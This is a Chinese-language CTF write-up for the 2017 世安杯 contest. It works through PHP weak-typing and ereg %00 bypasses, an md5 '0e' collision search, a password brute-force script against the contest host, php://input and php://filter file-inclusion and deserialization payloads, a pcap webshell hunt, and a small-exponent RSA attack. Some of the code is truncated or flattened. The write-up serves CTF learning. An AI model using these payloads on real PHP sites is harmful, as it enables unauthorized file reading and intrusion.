【Writeup】2017.10.8|【Writeup】2017.10.8 世安杯(部分)

0x01 ctf入门级题目 这道题是个代码审计题,给了php的代码

'; else if (strpos ($_GET['password'], '--') !== FALSE) die($flag); else echo 'Invalid password
'; } ?>View Source


这里要求password是字母或者数字,但是后面strpos要求password中要有“--”符号,注意这里的正则匹配用到了ereg函数,该函数存在%00截断的漏洞,就是它只会匹配%00之前的,当遇到%00时,后面的东西就不会看了,但是strpos()函数并不会这样,因此可以用%00进行绕过。
payload:
?password=a%00--

得到flag
这里还有第二种解法,当ereg()函数只能处理字符串,当参数是数组的时候,会返回NULL,而这道题中是!==,类型和内容需要都不一样才可以,NULL与FALSE的类型不是相同的,因此也可以进行绕过
payload2:
?password[]=a

0x02 类型 这道题还是一个代码审计的题,源码如下:
2017)?$b=1:NULL; } if(is_array(@$x2["x22"])){ if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?"); $p = array_search("XIPU", $x2["x22"]); $p===false?die("ha?"):NULL; foreach($x2["x22"] as $key=>$val){ $val==="XIPU"?die("ha?"):NULL; } $c=1; } } $x3 = $_GET['x3']; if ($x3 != '15562') { if (strstr($x3, 'XIPU')) { if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) { $d=1; } } } if($a && $b && $c && $d){ include "flag.php"; echo $flag; } ?>

这题是一个很经典的php若比较问题的ctf题了。
首先,x1要等于0,因为在$x1=="1"?die("ha?"):NULL; 中,需要让x1不能等于"1"的,php中,双等号比较整数与字符串时,会先将字符串直到没有字符之前的那部分的转换为整数,而后面switch判断中,等于0和1都可以继续,因此x1=0.
再看x2,这里有一个json_decode函数,那么x2就得是一个json格式的字符串了。is_numeric()函数接收整数和整数字符串,这里is_numeric(@$x2["x21"])?die("ha?"):NULL; 因此不能是整数或整数字符串,并且x21还要大于2017,因此用2018a来进行绕过。
if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?"); 对于这个判断,我们需要构造的是一个数组,数组里有两个元素,并且第一个元素也得是数组;之后
$p = array_search("XIPU", $x2["x22"]); $p===false?die("ha?"):NULL; foreach($x2["x22"] as $key=>$val){ $val==="XIPU"?die("ha?"):NULL; }

【【Writeup】2017.10.8|【Writeup】2017.10.8 世安杯(部分)】这里遍历x22这个数组,要求不能元素是有"XIPU"这个字样,但是还必须要在数组中能够找到。这里array_search()函数是存在弱类型比较的问题的,因此将第二个元素设置为0,在于"XIPU"字符串比较的时候,0=="XIPU"是成立的。最后
if ($x3 != '15562') { if (strstr($x3, 'XIPU')) { if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) { $d=1; } } }

这里写一个脚本跑一下
import hashlib for i in xrange(1000000): s = 'XIPU' + str(i) mymd5 = hashlib.md5() mymd5.update(s) mymd5 = mymd5.hexdigest() x3 = 1 if mymd5[8:10] == '0e': for j in mymd5[10:24]: if j.isalpha(): x3 = 0 break if x3== 1: print s break

最后payload:
?x1=0&x2={"x21":"2018asd","x22":[[0],0]}&x3=XIPU18570

0x03 登陆 首先题目描述说有提示,右键查看源代码,滑轮往下,看到提示

并且,已经告知admin为用户名,那么就想到是爆破无疑了,写一个脚本:
#-*- coding:utf-8 -*- import requests import res = requests.Session() dic = "0123456789" url="http://ctf1.shiyanbar.com/shian-s/" header = {'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36"} Cookie = {"Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3":"1500552075,1500882902","Hm_cv_34d6f7353ab0915a4c582e4516dffbc3":"1*visitor*87436%2CnickName%3AHDL_","PHPSESSID":"8nb06b20pn2gjl6ssujb1q0u04"}for a in dic: for b in dic: for c in dic: for d in dic: for e in dic: html =s.get(url,headers=header, cookies=Cookie).content pattern = re.compile('

(.*?)

.*?

得到password,登陆后得到flag
0x04 admin 登陆后发现显示“you are not admin”,右键查看源代码,发现了源码
$user = $_GET["user"]; $file = $_GET["file"]; $pass = $_GET["pass"]; if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){ echo "hello admin!
"; include($file); //class.php }else{ echo "you are not admin ! "; }

这里如果直接输入?user=the user is admin是不对的,应该是空格编码了得问题吧。。。我猜的。但是这里有file_get_contents()函数,它是可以用php伪协议的,我们就可以用php://input直接将那个字符串post过去,payload为
?user=php://input post:the user is admin

成功绕过第一步。
接下来由于一个include()函数,想到会不会存在文件包含漏洞呢,试了一下php://filter/read=convert.base64-encode/resource=class.php,得到了class.php的源代码
file)){ echo file_get_contents($this->file); return "__toString was called!"; } ?>

一看就知道是php反序列化了,构造序列化字符串O:4:"Read":1:{s:4:"file"; s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php"; },最后payload:
?user=php://input&filelass.php&pass=O:4:"Read":1:{s:4:"file"; s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php"; } post:the user is admin

得到flag的base64,解一下得到flag
0x05 心仪的公司 题目描述:小黑在拿到webshell后,马上就获得了自己心仪公司的照片
这道题是一个流量包分析的题,首先看一下题目描述,就知道了得到flag应该是得先定位webnshell的位置
首先在在导出对象中选择导出HTTP选项,发现了一个名叫conf1g.php的文件非常可疑,搜索了一下conf1g.php,并跟踪tcp流,发现黑客在爆破登陆密码,爆破出来了密码youxiu,登陆后台,进行了一些列操作之后,继续跟踪流,在最后发现webshell.jpg中有flag。
这么一看,其实可以在最开始导出HTTP对象的时候,将最后一个application/x-jpg类型的文件导出来,然后winhex查看就也能得到flag了。
0x06 RSA 给出了密文c和n
c= 2044619806634581710230401748541393297937319 n= 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143import libnum for e in range(2,10): m = libnum.nroot(c,e) if m**e==c: breakprint "e:",e print "m:",m flag = libnum.n2s(m) print flag

解出来明文so_low

    推荐阅读